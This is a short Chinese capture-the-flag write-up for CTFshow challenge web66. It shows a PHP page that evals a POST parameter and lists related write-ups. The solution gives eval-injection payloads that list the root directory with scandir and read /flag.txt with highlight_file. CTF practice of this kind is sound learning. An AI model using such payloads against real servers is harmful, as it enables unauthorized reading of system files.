CTFshow 命令执行 web66
目录
- 源码
- 思路
- 题解
- 总结
源码
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
思路
路径改了
题解
发现show_source用不了了,试试用highlight_file
c=print_r(scandir("/"));
在根目录发现flag.txt
c=highlight_file(’/flag.txt’);
拿到flag
总结
水题
CTFshow 命令执行 web66相关推荐
- CTFshow——命令执行
CTFshow--命令执行 Web29 <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_matc ...
- CTFshow命令执行29-123
命令执行 WEB29 eval是php中执行以PHP脚本执行的命令 PHP命令可以执行脚本命令 本题使用方法是先 system(cp f*.php 1.txt) 然后访问1.txt WEB30 在PH ...
- CTFshow 命令执行 web72
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...
- [CTFSHOW]命令执行
文章目录 web 29 web 30 web 31 web32 web33-36 web37 web38 web40 web41 web42 web43 web44 web45 web46 web47 ...
- ctfshow 命令执行 web29-web77 web118-122 web124 wp
南神博客 文章目录 命令执行 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 w ...
- ctfshow命令执行篇
web31 echo(`ls%09/`); echo(`tac%09fla*`); web32 过滤; 关键命令执行函数也不能用 用文件包含 其实这个做法也是靠刷题经验猜flag路径 c=includ ...
- [CTFSHOW]命令执行55-74
web 55 if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\< ...
- ctfshow命令执行(持续更新,已更至web39)
做命令执行题比前两种慢很多,到现在也只做了总数的五分之一,慢慢来吧. web29 web30 web31 web32 web33~36 web37 web38 web39 web29 题目如下: er ...
- CTFshow 命令执行 web56
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...
最新文章
- UpdateData函数(转)
- 使用sonar-ws-client-4.2.jar 获取sonar数据
- 网络知识:宽带下载网速是30MB/s,经过路由器后仅10MB/s,看完你就懂了!
- ossim系统下nagios监控机器可用性用rrd图形显示
- 回文字符串(51Nod-1092)
- anki卡片重复_如何在Anki中使用间隔重复来学习更快的编码
- java queue iterator_Java DelayQueue iterator()用法及代码示例
- 人生在世,运气很重要
- 对if...else if...的理解
- 2019,别进大厂了!
- FluorineFx:远程共享对象(Remote SharedObjects)
- Android流光动画,流光相机app_流光相机官网-多特软件站安卓网
- Python 结合bat批处理文件 实现密码保管箱
- 计算机音乐卡内基大学,卡耐基梅隆大学音乐暑期课程 年轻音乐家的成功之路...
- 解决cannot find grldr in all devices问题
- svn 文件夹没有绿勾红感叹号图标
- 怎么找主播卖货?最靠谱的5种直播带货方式
- Jboot通过redis实现每日登录失败次数限制的问题
- 友元函数实现复数加减法
- 音视频编解码流程与如何使用 FFMPEG 命令进行音视频处理